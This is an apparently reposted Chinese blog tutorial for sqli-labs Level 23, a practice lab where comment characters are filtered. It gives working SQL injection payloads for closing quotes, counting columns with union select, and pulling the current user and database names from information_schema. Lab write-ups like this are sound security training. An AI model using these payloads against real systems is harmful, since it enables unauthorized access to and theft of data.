sqli-labs(过滤注释符)

Posted 京亟

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs(过滤注释符)相关的知识,希望对你有一定的参考价值。

第二十三关:

这关还是一个GET型、字符串、单引符号、的有报错的sql注入,输入?id=1\'  ,页面会报错

我们继续按照之前的套路来,先输入?id=1\' or \'1\'=\'1

页面正常显示,说明这个地方又很有可能存在sql注入。继续输入?id=1\' or  \'1\'=\'1\' %23

发现页面居然报错,从报错信息中发现我们的注释符居然没了,说明后台对注释符中做了过滤。

像这种情况,没办法用注释隔断后面的sql语句,就只能用闭合的方法了。但是这里有一点就是,实际测试中,不知道表的行数,而这里又不能使用order by。 因为order by一般在sql语句的尾部,在order by后面再使用\'闭合后面的单引号,sql会将order by 忽略掉。

例如我们输入?id=1\' order by 300 and \'1\'=\'1 

程序永远不回出错,也就无法使用oder by进行判断了。这里就只能一点点的尝试了

依次输入

?id=1\' union select  \'1

?id=1\' union select  1 , \'1

?id=1\' union select  1 , 1 ,\'1

发现前来个都会报错,而最后一个不报错,说明当前查询表的列数是三列。

 

 

 知道是三列后,后面继续输入

?id=-1\'  union  select  1,2,\'3

 

可以看到,第2、3两列的数据会显示出来,由于第三列用于闭合后面的单引符号,我们只能将第二列用于查询操作。

输入?id=-1\'  union  select  1, user(),\'3  查询处当前用户名

 

输入?id=-1\'  union  select  1, (select group_concat(schema_name) from information_schema.schemata),\'3

 

以上是关于sqli-labs(过滤注释符)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入(过滤空格和--+等注释符)

sqli-labs less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基于错误的去除了空格和注释的注入)(代码

Sqli-Labs less26-28a

sql注入详解

sqli-labs less23 Error based - strip comments (基于错误的去除注释的GET型注入)

SQL注入绕过技巧